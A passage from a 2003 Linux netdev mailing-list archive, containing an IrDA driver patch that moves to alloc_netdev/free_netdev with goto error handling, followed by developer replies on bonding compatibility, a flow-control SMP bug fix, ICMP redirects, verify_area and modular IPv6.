*dev; struct irport_cb *self; - void *ret; - int err; IRDA_DEBUG(1, "%s()\n", __FUNCTION__); /* Lock the port that we need */ - ret = request_region(iobase, IO_EXTENT, driver_name); - if (!ret) { + if (!request_region(iobase, IO_EXTENT, driver_name)) { IRDA_DEBUG(0, "%s(), can't get iobase of 0x%03x\n", __FUNCTION__, iobase); - return NULL; + goto err_out1; } /* * Allocate new instance of the driver */ - self = kmalloc(sizeof(struct irport_cb), GFP_KERNEL); - if (!self) { + dev = alloc_netdev(sizeof(struct irport_cb), "irda%d", + irda_device_setup); + if (!dev) { ERROR("%s(), can't allocate memory for " "control block!\n", __FUNCTION__); - release_region(iobase, IO_EXTENT); - return NULL; + goto err_out2; } - memset(self, 0, sizeof(struct irport_cb)); + + self = dev->priv; + self->netdev = dev; spin_lock_init(&self->lock); /* Need to store self somewhere */ @@ -189,8 +187,9 @@ self->rx_buff.truesize = IRDA_SKB_MAX_MTU; self->rx_buff.skb = __dev_alloc_skb(self->rx_buff.truesize, GFP_KERNEL); - if (self->rx_buff.skb == NULL) - return NULL; + if (self->rx_buff.skb == NULL) + goto err_out3; + skb_reserve(self->rx_buff.skb, 1); self->rx_buff.head = self->rx_buff.skb->data; /* No need to memset the buffer, unless you are really pedantic */ @@ -207,31 +206,24 @@ if (self->tx_buff.truesize > 0) { self->tx_buff.head = (__u8 *) kmalloc(self->tx_buff.truesize, GFP_KERNEL); - if (self->tx_buff.head == NULL) { - kfree_skb(self->rx_buff.skb); - self->rx_buff.skb = NULL; - self->rx_buff.head = NULL; - return NULL; - } + if (self->tx_buff.head == NULL) + goto err_out4; memset(self->tx_buff.head, 0, self->tx_buff.truesize); } self->tx_buff.data = self->tx_buff.head; - if (!(dev = dev_alloc("irda%d", &err))) { - ERROR("%s(), dev_alloc() failed!\n", __FUNCTION__); - return NULL; - } - self->netdev = dev; - /* Keep track of module usage */ - SET_MODULE_OWNER(dev); - /* May be overridden by piggyback drivers */ - dev->priv = (void *) self; self->interrupt = irport_interrupt; self->change_speed = irport_change_speed; + /* Make ifconfig display some details */ + dev->base_addr = iobase; + dev->irq = irq; + /* Override the network functions we need to use */ - dev->init = irport_net_init; + + SET_MODULE_OWNER(dev); + dev->hard_start_xmit = irport_hard_xmit; dev->tx_timeout = irport_timeout; dev->watchdog_timeo = HZ; /* Allow time enough for speed change */ @@ -240,25 +232,31 @@ dev->get_stats = irport_net_get_stats; dev->do_ioctl = irport_net_ioctl; - /* Make ifconfig display some details */ - dev->base_addr = iobase; - dev->irq = irq; - - rtnl_lock(); - err = register_netdevice(dev); - rtnl_unlock(); - if (err) { + if (register_netdev(dev)) { ERROR("%s(), register_netdev() failed!\n", __FUNCTION__); - return NULL; + goto err_out5; } MESSAGE("IrDA: Registered device %s (irport io=0x%X irq=%d)\n", dev->name, iobase, irq); return self; + err_out5: + kfree(self->tx_buff.head); + err_out4: + kfree_skb(self->rx_buff.skb); + err_out3: + free_netdev(dev); + dev_self[i] = NULL; + err_out2: + release_region(iobase, IO_EXTENT); + err_out1: + return NULL; } int irport_close(struct irport_cb *self) { + struct net_device *dev = self->netdev; + ASSERT(self != NULL, return -1;); /* We are not using any dongle anymore! */ @@ -267,8 +265,7 @@ self->dongle = NULL; /* Remove netdevice */ - if (self->netdev) - unregister_netdev(self->netdev); + unregister_netdev(dev); /* Release the IO-port that this driver is using */ IRDA_DEBUG(0 , "%s(), Releasing Region %03x\n", @@ -284,7 +281,7 @@ /* Remove ourselves */ dev_self[self->index] = NULL; - kfree(self); + free_netdev(dev); return 0; } @@ -886,15 +883,6 @@ return IRQ_RETVAL(handled); } -static int irport_net_init(struct net_device *dev) -{ - /* Set up to be a normal IrDA network device driver */ - irda_device_setup(dev); - - /* Insert overrides below this line! */ - - return 0; -} /* * Function irport_net_open (dev) diff -urN -X dontdiff linux-2.5/drivers/net/irda/sa1100_ir.c linux-2.5-net/drivers/net/irda/sa1100_ir.c --- linux-2.5/drivers/net/irda/sa1100_ir.c 2003-06-05 10:04:37.000000000 -0700 +++ linux-2.5-net/drivers/net/irda/sa1100_ir.c 2003-09-17 15:49:30.000000000 -0700 @@ -1132,12 +1132,8 @@ release_mem_region(__PREG(Ser2HSCR0), 0x1c); release_mem_region(__PREG(Ser2UTCR0), 0x24); - /* - * We now know that the netdevice is no longer in use, and all - * references to our driver have been removed. The only structure - * which may still be present is the netdevice, which will get - * cleaned up by net/core/dev.c - */ + if(dev) + free_netdev(dev); } static int __init sa1100ir_setup(char *line) diff -urN -X dontdiff linux-2.5/drivers/net/irda/smsc-ircc2.c linux-2.5-net/drivers/net/irda/smsc-ircc2.c --- linux-2.5/drivers/net/irda/smsc-ircc2.c 2003-06-05 10:04:37.000000000 -0700 +++ linux-2.5-net/drivers/net/irda/smsc-ircc2.c 2003-09-18 10:39:48.000000000 -0700 @@ -140,10 +140,10 @@ static int smsc_ircc_open(unsigned int firbase, unsigned int sirbase, u8 dma, u8 irq); static int smsc_ircc_present(unsigned int fir_base, unsigned int sir_base); -static int smsc_ircc_setup_io(struct smsc_ircc_cb *self, unsigned int fir_base, unsigned int sir_base, u8 dma, u8 irq); +static void smsc_ircc_setup_io(struct smsc_ircc_cb *self, unsigned int fir_base, unsigned int sir_base, u8 dma, u8 irq); static int smsc_ircc_setup_buffers(struct smsc_ircc_cb *self); static void smsc_ircc_setup_qos(struct smsc_ircc_cb *self); -static int smsc_ircc_setup_netdev(struct smsc_ircc_cb *self); +static void smsc_ircc_netdev_setup(struct net_device *dev); static void smsc_ircc_init_chip(struct smsc_ircc_cb *self); static int __exit smsc_ircc_close(struct smsc_ircc_cb *self); static int smsc_ircc_dma_receive(struct smsc_ircc_cb *self, int iobase); @@ -366,38 +366,48 @@ static int __init smsc_ircc_open(unsigned int fir_base, unsigned int sir_base, u8 dma, u8 irq) { struct smsc_ircc_cb *self; + struct net_device *dev; int err; IRDA_DEBUG(1, "%s\n", __FUNCTION__); - err= smsc_ircc_present(fir_base, sir_base); - if(err) return -ENODEV; + err = smsc_ircc_present(fir_base, sir_base); + if(err) + goto out; - if (dev_count>DIM(dev_self)) { + if (dev_count > DIM(dev_self)) { WARNING("%s(), too many devices!\n", __FUNCTION__); - return -ENOMEM; + err = -ENOMEM; + goto out1; } /* * Allocate new instance of the driver */ - self = kmalloc(sizeof(struct smsc_ircc_cb), GFP_KERNEL); - if (self == NULL) { - ERROR("%s, Can't allocate memory for control block!\n", - driver_name); - return -ENOMEM; + dev = alloc_netdev(sizeof(*self), "irda%d", + smsc_ircc_netdev_setup); + if (!dev) { + WARNING("%s() can't allocate net device\n", __FUNCTION__); + err = -ENOMEM; + goto out1; } - memset(self, 0, sizeof(struct smsc_ircc_cb)); + + self = dev->priv; + self->netdev = dev; + + /* Make ifconfig display some details */ + dev->base_addr = self->io.fir_base = fir_base; + dev->irq = self->io.irq = irq; /* Need to store self somewhere */ dev_self[dev_count++] = self; spin_lock_init(&self->lock); err = smsc_ircc_setup_buffers(self); - if(err) return err; + if(err) + goto out2; - err= smsc_ircc_setup_io(self, fir_base, sir_base, dma, irq); - if(err) return err; + smsc_ircc_setup_io(self, fir_base, sir_base, dma, irq); smsc_ircc_setup_qos(self); @@ -405,17 +415,32 @@ smsc_ircc_init_chip(self); - if(ircc_transceiver > 0 && ircc_transceiver < SMSC_IRCC2_C_NUMBER_OF_TRANSCEIVERS) self->transceiver = ircc_transceiver; - else smsc_ircc_probe_transceiver(self); + if(ircc_transceiver > 0 && + ircc_transceiver < SMSC_IRCC2_C_NUMBER_OF_TRANSCEIVERS) + self->transceiver = ircc_transceiver; + else + smsc_ircc_probe_transceiver(self); - err = smsc_ircc_setup_netdev(self); - if(err) return err; + err = register_netdev(self->netdev); + if(err) + goto out2; self->pmdev = pm_register(PM_SYS_DEV, PM_SYS_IRDA, smsc_ircc_pmproc); if (self->pmdev) self->pmdev->data = self; + MESSAGE("IrDA: Registered device %s\n", dev->name); + return 0; + out2: + kfree(self->tx_buff.head); + kfree(self->rx_buff.head); + free_netdev(self->netdev); + out1: + release_region(fir_base, SMSC_IRCC2_FIR_CHIP_IO_EXTENT); + release_region(sir_base, SMSC_IRCC2_SIR_CHIP_IO_EXTENT); + out: + return err; } /* @@ -428,18 +453,19 @@ { unsigned char low, high, chip, config, dma, irq, version; - if (check_region(fir_base, SMSC_IRCC2_FIR_CHIP_IO_EXTENT) < 0) { + if (!request_region(fir_base, SMSC_IRCC2_FIR_CHIP_IO_EXTENT, + driver_name)) { WARNING("%s: can't get fir_base of 0x%03x\n", __FUNCTION__, fir_base); - return -ENODEV; + goto out1; } -#if POSSIBLE_USED_BY_SERIAL_DRIVER - if (check_region(sir_base, SMSC_IRCC2_SIR_CHIP_IO_EXTENT) < 0) { + + if (!request_region(sir_base, SMSC_IRCC2_SIR_CHIP_IO_EXTENT, + driver_name)) { WARNING("%s: can't get sir_base of 0x%03x\n", __FUNCTION__, sir_base); - return -ENODEV; + goto out2; } -#endif register_bank(fir_base, 3); @@ -454,13 +480,19 @@ if (high != 0x10 || low != 0xb8 || (chip != 0xf1 && chip != 0xf2)) { WARNING("%s(), addr 0x%04x - no device found!\n", __FUNCTION__, fir_base); - return -ENODEV; + goto out3; } MESSAGE("SMsC IrDA Controller found\n IrCC version %d.%d, " "firport 0x%03x, sirport 0x%03x dma=%d, irq=%d\n", chip & 0x0f, version, fir_base, sir_base, dma, irq); return 0; + out3: + release_region(fir_base, SMSC_IRCC2_FIR_CHIP_IO_EXTENT); + out2: + release_region(fir_base, SMSC_IRCC2_FIR_CHIP_IO_EXTENT); + out1: + return -ENODEV; } /* @@ -510,10 +542,11 @@ * Setup I/O * */ -static int smsc_ircc_setup_io(struct smsc_ircc_cb *self, unsigned int fir_base, unsigned int sir_base, u8 dma, u8 irq) +static void smsc_ircc_setup_io(struct smsc_ircc_cb *self, + unsigned int fir_base, unsigned int sir_base, + u8 dma, u8 irq) { unsigned char config, chip_dma, chip_irq; - void *ret; register_bank(fir_base, 3); config = inb(fir_base+IRCC_INTERFACE); @@ -545,27 +578,6 @@ else self->io.dma = chip_dma; - ret = request_region(self->io.fir_base, self->io.fir_ext, driver_name); - if (!ret) { - WARNING("%s(), can't get iobase of 0x%03x\n", - __FUNCTION__, self->io.fir_base); - kfree(self->tx_buff.head); - kfree(self->rx_buff.head); - kfree(self); - return -ENODEV; - } - ret = request_region(self->io.sir_base, self->io.sir_ext, driver_name); - if (!ret) { - WARNING("%s(), can't get iobase of 0x%03x\n", - __FUNCTION__, self->io.sir_base); - release_region(self->io.fir_base, self->io.fir_ext); - kfree(self->tx_buff.head); - kfree(self->rx_buff.head); - kfree(self); - return -ENODEV; - } - - return 0; } /* @@ -634,57 +646,19 @@ outb(0x00, iobase+IRCC_MASTER); } -/* - * Function smsc_ircc_setup_netdev(self) - * - * Alloc and setup network device - * - */ -static int smsc_ircc_setup_netdev(struct smsc_ircc_cb *self) +static void smsc_ircc_netdev_setup(struct net_device *dev) { - struct net_device *dev; - int err; - /* Alloc netdev */ - - if (!(dev = dev_alloc("irda%d", &err))) { - ERROR("%s(), dev_alloc() failed!\n", __FUNCTION__); - kfree(self->tx_buff.head); - kfree(self->rx_buff.head); - kfree(self); - return -ENOMEM; - } - - dev->priv = (void *) self; - self->netdev = dev; - dev->init = smsc_ircc_net_init; dev->hard_start_xmit = smsc_ircc_hard_xmit_sir; - #if SMSC_IRCC2_C_NET_TIMEOUT +#if SMSC_IRCC2_C_NET_TIMEOUT dev->tx_timeout = smsc_ircc_timeout; dev->watchdog_timeo = HZ*2; /* Allow enough time for speed change */ - #endif +#endif dev->open = smsc_ircc_net_open; dev->stop = smsc_ircc_net_close; dev->do_ioctl = smsc_ircc_net_ioctl; dev->get_stats = smsc_ircc_net_get_stats; - /* Make ifconfig display some details */ - dev->base_addr = self->io.fir_base; - dev->irq = self->io.irq; - - rtnl_lock(); - err = register_netdevice(dev); - rtnl_unlock(); - if (err) { - ERROR("%s(), register_netdev() failed!\n", __FUNCTION__); - kfree(self->tx_buff.head); - kfree(self->rx_buff.head); - kfree(self); - return -ENODEV; - } - MESSAGE("IrDA: Registered device %s\n", dev->name); - - return 0; } /* @@ -1734,22 +1708,22 @@ { int iobase; unsigned long flags; + struct net_device *dev; IRDA_DEBUG(1, "%s\n", __FUNCTION__); ASSERT(self != NULL, return -1;); + dev = self->netdev; + ASSERT(dev != NULL, return -1;); + iobase = self->io.fir_base; if (self->pmdev) pm_unregister(self->pmdev); /* Remove netdevice */ - if (self->netdev) { - rtnl_lock(); - unregister_netdevice(self->netdev); - rtnl_unlock(); - } + unregister_netdev(dev); /* Make sure the irq handler is not exectuting */ spin_lock_irqsave(&self->lock, flags); @@ -1784,7 +1758,7 @@ if (self->rx_buff.head) kfree(self->rx_buff.head); - kfree(self); + free_netdev(dev); return 0; } diff -urN -X dontdiff linux-2.5/net/irda/irda_device.c linux-2.5-net/net/irda/irda_device.c --- linux-2.5/net/irda/irda_device.c 2003-09-08 09:17:23.000000000 -0700 +++ linux-2.5-net/net/irda/irda_device.c 2003-09-19 22:29:17.000000000 -0700 @@ -378,8 +378,6 @@ dev->hard_header_len = 0; dev->addr_len = 0; - dev->destructor = free_netdev; - dev->type = ARPHRD_IRDA; dev->tx_queue_len = 8; /* Window size + 1 s-frame */ From ctindel@calma.pair.com Mon Sep 29 17:23:32 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Sep 2003 17:24:10 -0700 (PDT) Received: from calma.pair.com (calma.pair.com [209.68.1.95]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8U0NVFx003892 for ; Mon, 29 Sep 2003 17:23:32 -0700 Received: (qmail 4877 invoked by uid 3059); 30 Sep 2003 00:23:31 -0000 Date: Mon, 29 Sep 2003 20:23:31 -0400 From: "Chad N. Tindel" To: Jeff Garzik Cc: netdev@oss.sgi.com, bonding-devel@lists.sourceforge.net Subject: Re: [bonding] compatibilty issues Message-ID: <20030930002331.GA4156@calma.pair.com> Mail-Followup-To: Jeff Garzik , netdev@oss.sgi.com, bonding-devel@lists.sourceforge.net References: <20030929232534.GB93323@calma.pair.com> <3F78C262.30109@pobox.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3F78C262.30109@pobox.com> User-Agent: Mutt/1.4i X-archive-position: 344 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chad@tindel.net Precedence: bulk X-list: netdev > Well, if that's David's sentiment, then I respectfully disagree with that. And in all actuality, I might have misunderstood it anyway. ;-) > I'm realistic. I'm not advocating that you support 2.2 through 2.8 > kernels in the same binary. What I'm talking about is common sense -- > you see 2.4 and 2.6 mixing in the field. As I said, that's the common > case for the near future. > > The common case should be supported. :) Agreed. Is there some point at which we can stop supporting 2.4 from the 2.6 ifenslave? I mean, its kind of nebulous to just say the "common case"... you gotta realize, most of us work in big companies like HP, IBM, Intel and concepts of support life have real meaning to us. This is a very interestng discussion. Do you have any insights into what the other parts of the kernel are doing wrt to this problem? Chad From hadi@cyberus.ca Mon Sep 29 19:18:29 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Sep 2003 19:19:07 -0700 (PDT) Received: from mail.cyberus.ca (mail.cyberus.ca [209.195.118.111]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8U2ISFx006048 for ; Mon, 29 Sep 2003 19:18:29 -0700 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.9]) by mail.cyberus.ca with esmtp (Exim 4.12) id 1A4A5p-0004Ti-00; Mon, 29 Sep 2003 22:18:26 -0400 Subject: Re: Fw: [BUG/PATCH] CONFIG_NET_HW_FLOWCONTROL and SMP From: jamal Reply-To: hadi@cyberus.ca To: Andrew Morton Cc: netdev@oss.sgi.com, dfages@arkoon.net In-Reply-To: <20030929123734.5bd97a47.akpm@osdl.org> References: <20030929123734.5bd97a47.akpm@osdl.org> Content-Type: text/plain Organization: jamalopolis Message-Id: <1064888274.1025.12.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 29 Sep 2003 22:17:54 -0400 Content-Transfer-Encoding: 7bit X-archive-position: 345 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev Actually this is a known bug. Ive had a patch for a long time. Only problem is noone cares about CONFIG_NET_HW_FLOWCONTROL anymore. Summary, apply the patch for legacy reasons. The patch i had is slightly different; but this one looks sane too. cheers, jamal On Mon, 2003-09-29 at 15:37, Andrew Morton wrote: > Begin forwarded message: > > Date: Mon, 29 Sep 2003 14:08:54 +0200 > From: dfages@arkoon.net > To: linux-kernel@vger.kernel.org > Subject: [BUG/PATCH] CONFIG_NET_HW_FLOWCONTROL and SMP > > > > > Hi, > by testing the CONFIG_NET_HW_FLOWCONTROL (NIC Hardware throttling) on > a SMP system, I found a bug in net/core/dev.c : the netdev_dropping > variable can be set to a negative value (the result is that a CPU can > be locked in "throttle" state). > This bug seems to exist in 2.4 and in 2.6 kernels. > > Here's a typical scenario : > > - Throttling --> (CPU 0)queue->throttle==1 && (CPU 1)queue->throttle==1 > && netdev_dropping == 2 > - 1st packet Unthrottle ( in net_rx_action() ), received by CPU 0 > --> (CPU 0)queue->throttle==1 && (CPU 1)queue->throttle==1 > && netdev_dropping == 1 > - 2nd packet Unthrottle ( in net_rx_action() ), received by CPU 0 > --> (CPU 0)queue->throttle==0 && (CPU 1)queue->throttle==1 > && netdev_dropping == 0 > - 3nd packet Unthrottle ( in net_rx_action() ), received by CPU 1 > --> (CPU 0)queue->throttle==0 && (CPU 1)queue->throttle==0 > && netdev_dropping == -1 > > and so on... > > The problem is that the (CPU)queue->throttle should be set to zero every > time the netdev_dropping variable is decremented. > > > Here's a patch for the 2.4.19 kernel (tested with success) : > > --- linux-2.4.19/net/core/dev.c.orig Mon Sep 29 12:49:14 2003 > +++ linux-2.4.19/net/core/dev.c Tue Sep 23 18:35:35 2003 > @@ -1519,8 +1519,8 @@ > > #ifdef CONFIG_NET_HW_FLOWCONTROL > if (queue->throttle && queue->input_pkt_queue.qlen < no_cong_thresh ) { > + queue->throttle = 0; > if (atomic_dec_and_test(&netdev_dropping)) { > - queue->throttle = 0; > netdev_wakeup(); > goto softnet_break; > } > > > > > I haven't done a patch for 2.4.22 (as we currently use 2.4.19) but the same > modification should be applied around lines 1572 to 1577 of net/core/dev.c > > For 2.6.0-test5, the lines to modified are arount 1631 to 1637. > > Regards, > --- > Daniel FAGES > ARKOON Network Security http://www.arkoon.net > > > - > To unsubscribe from this list: send the line "unsubscribe linux-kernel" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html > Please read the FAQ at http://www.tux.org/lkml/ > > > From hadi@cyberus.ca Mon Sep 29 19:32:16 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Sep 2003 19:32:50 -0700 (PDT) Received: from mail.cyberus.ca (mail.cyberus.ca [209.195.118.111]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8U2WFFx006592 for ; Mon, 29 Sep 2003 19:32:16 -0700 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.9]) by mail.cyberus.ca with esmtp (Exim 4.12) id 1A4AJA-0005x2-00; Mon, 29 Sep 2003 22:32:13 -0400 Subject: Re: route cache and messed up network From: jamal Reply-To: hadi@cyberus.ca To: Dana Lacoste Cc: netdev@oss.sgi.com In-Reply-To: <1064865515.8417.2.camel@dlacoste.ottawa.loran.com> References: <1064865515.8417.2.camel@dlacoste.ottawa.loran.com> Content-Type: text/plain Organization: jamalopolis Message-Id: <1064889101.1024.27.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 29 Sep 2003 22:31:41 -0400 Content-Transfer-Encoding: 7bit X-archive-position: 346 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev Why dont you just ignore redirects on the Linux machine? echo 0 > /proc/sys/net/ipv4/conf/*/accept_redirects cheers, jamal From dgibson@ozlabs.org Mon Sep 29 21:52:24 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Sep 2003 21:52:58 -0700 (PDT) Received: from ozlabs.org (ozlabs.org [203.10.76.45]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8U4qLFx012335 for ; Mon, 29 Sep 2003 21:52:24 -0700 Received: by ozlabs.org (Postfix, from userid 1007) id 10D502BD2C; Tue, 30 Sep 2003 14:52:16 +1000 (EST) Date: Tue, 30 Sep 2003 14:51:10 +1000 From: David Gibson To: "Randy.Dunlap" Cc: netdev@oss.sgi.com, jgarzik@pobox.com Subject: Re: [PATRCH] janitor: hermes: delete verify_area call Message-ID: <20030930045110.GG15200@zax> References: <20030925215902.57f53822.rddunlap@osdl.org> <20030929052925.GA5037@zax> <20030929130608.156bbc2b.rddunlap@osdl.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20030929130608.156bbc2b.rddunlap@osdl.org> User-Agent: Mutt/1.5.4i X-archive-position: 347 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hermes@gibson.dropbear.id.au Precedence: bulk X-list: netdev On Mon, Sep 29, 2003 at 01:06:08PM -0700, Randy.Dunlap wrote: > On Mon, 29 Sep 2003 15:29:25 +1000 David Gibson wrote: > > | On Thu, Sep 25, 2003 at 09:59:02PM -0700, Randy.Dunlap wrote: > | > > | > Hi, > | > Please apply to 2.6.0-test5-current. > | > > | > Thanks, > | > | Sorry, can you clarify why this verify_area() is not needed? > > > Sure, I'll try to do that. > There are several related reasons for it. > > Summary: > Using verify_area() [or access_ok()] is redundant if copy*user(), > get_user(), or put_user() is being used, but must (*should*) be used > if __copy*user(), __get_user(), or __put_user() are being used. > > a. [include/asm-i386/uaccess.h] verify_area: - Obsolete, use access_ok() > > b. copy_*_user() already calls access_ok() to validate the user address. > The __* versions of copy*user() and __get/put_user() do not use > access_ok(), so checking must be done before using them. Ah, ok, thanks. In that case presumably the other call to verify_area() doesn't need to be there either... -- David Gibson | For every complex problem there is a david@gibson.dropbear.id.au | solution which is simple, neat and | wrong. http://www.ozlabs.org/people/dgibson From davem@pizda.ninka.net Mon Sep 29 22:15:38 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Sep 2003 22:16:12 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8U5FbFx013246 for ; Mon, 29 Sep 2003 22:15:37 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id WAA03437; Mon, 29 Sep 2003 22:11:29 -0700 Date: Mon, 29 Sep 2003 22:11:29 -0700 From: "David S. Miller" To: Arnaldo Carvalho de Melo Cc: bunk@fs.tum.de, netdev@oss.sgi.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org Subject: Re: RFC: [2.6 patch] disallow modular IPv6 Message-Id: <20030929221129.7689e088.davem@redhat.com> In-Reply-To: <20030929003229.GM1039@conectiva.com.br> References: <20030928225941.GW15338@fs.tum.de> <20030928231842.GE1039@conectiva.com.br> <20030928232403.GX15338@fs.tum.de> <20030928233909.GG1039@conectiva.com.br> <20030929001439.GY15338@fs.tum.de> <20030929003229.GM1039@conectiva.com.br> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 349 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Sun, 28 Sep 2003 21:32:30 -0300 Arnaldo Carvalho de Melo wrote: > Em Mon, Sep 29, 2003 at 02:14:39AM +0200, Adrian Bunk escreveu: > > On Sun, Sep 28, 2003 at 08:39:10PM -0300, Arnaldo Carvalho de Melo wrote: > > What about the following solution (the names and help texts for the > > config options might not be optimal, I hope you understand the > > intention): > > > > config IPV6_SUPPORT > > bool "IPv6 support" > > > > config IPV6_ENABLE > > tristate "enable IPv6" > > depends on IPV6_SUPPORT > > > > IPV6_SUPPORT changes structs etc. and IPV6_ENABLE is responsible for > > ipv6.o . > > Humm, and the idea is? This seems confusing, could you elaborate on why such > scheme is a good thing? I think the idea is totally broken. At first, Adrian comments that changing the layout of structs based upon a config option is broken, then he proposes a config option that does nothing except change the layout of structures. The current situation is perfectly fine. From davem@pizda.ninka.net Mon Sep 29 22:15:23 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Sep 2003 22:15:58 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8U5FNFx013235 for ; Mon, 29 Sep 2003 22:15:23 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id WAA03189; Mon, 29 Sep 2003 22:09:16 -0700 Date: Mon, 29 Sep 2003 22:09:16 -0700 From: "David S. Miller" To: Adrian Bunk Cc: acme@conectiva.com.br, netdev@oss.sgi.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org Subject: Re: RFC: [2.6 patch] disallow modular IPv6 Message-Id: <20030929220916.19c9c90d.davem@redhat.com> In-Reply-To: <20030928232403.GX15338@fs.tum.de> References: <20030928225941.GW15338@fs.tum.de> <20030928231842.GE1039@conectiva.com.br> <20030928232403.GX15338@fs.tum.de> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 348 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 29 Sep 2003 01:24:03 +0200 Adrian Bunk wrote: > This is broken since it's legal to compile a module much later than the > kernel. Not in this case. For things inside the kernel, what ipv6 is doing is completely legal. Changing your config setting in any way in the main kernel tree can change just about anything else in the kernel, including the layout of structures. From davem@pizda.ninka.net Mon Sep 29 22:19:51 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Sep 2003 22:20:28 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8U5JpFx013962 for ; Mon, 29 Sep 2003 22:19:51 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id WAA03832; Mon, 29 Sep 2003 22:15:46 -0700 Date: Mon, 29 Sep 2003 22:15:46 -0700 From: "David S. Miller" To: David Gibson Cc: rddunlap@osdl.org, netdev@oss.sgi.com, jgarzik@pobox.com Subject: Re: [PATRCH] janitor: hermes: delete verify_area call Message-Id: <20030929221546.7871ddf7.davem@redhat.com> In-Reply-To: <20030929052925.GA5037@zax> References: <20030925215902.57f53822.rddunlap@osdl.org> <20030929052925.GA5037@zax> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 350 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 29 Sep 2003 15:29:25 +1000 David Gibson wrote: > Sorry, can you clarify why this verify_area() is not needed? copy_{to,from}_user() and friends do the verify_area(). From davem@pizda.ninka.net Mon Sep 29 22:21:22 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Sep 2003 22:21:28 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8U5LMFx014309 for ; Mon, 29 Sep 2003 22:21:22 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id WAA04052; Mon, 29 Sep 2003 22:17:12 -0700 Date: Mon, 29 Sep 2003 22:17:12 -0700 From: "David S. Miller" To: David Woodhouse Cc: acme@conectiva.com.br, bunk@fs.tum.de, netdev@oss.sgi.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org Subject: Re: RFC: [2.6 patch] disallow modular IPv6 Message-Id: <20030929221712.51e6c27b.davem@redhat.com> In-Reply-To: <1064826174.29569.13.camel@hades.cambridge.redhat.com> References: <20030928225941.GW15338@fs.tum.de> <20030928231842.GE1039@conectiva.com.br> <20030928232403.GX15338@fs.tum.de> <20030928233909.GG1039@conectiva.com.br> <20030929001439.GY15338@fs.tum.de> <20030929003229.GM1039@conectiva.com.br> <1064826174.29569.13.camel@hades.cambridge.redhat.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 351 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com 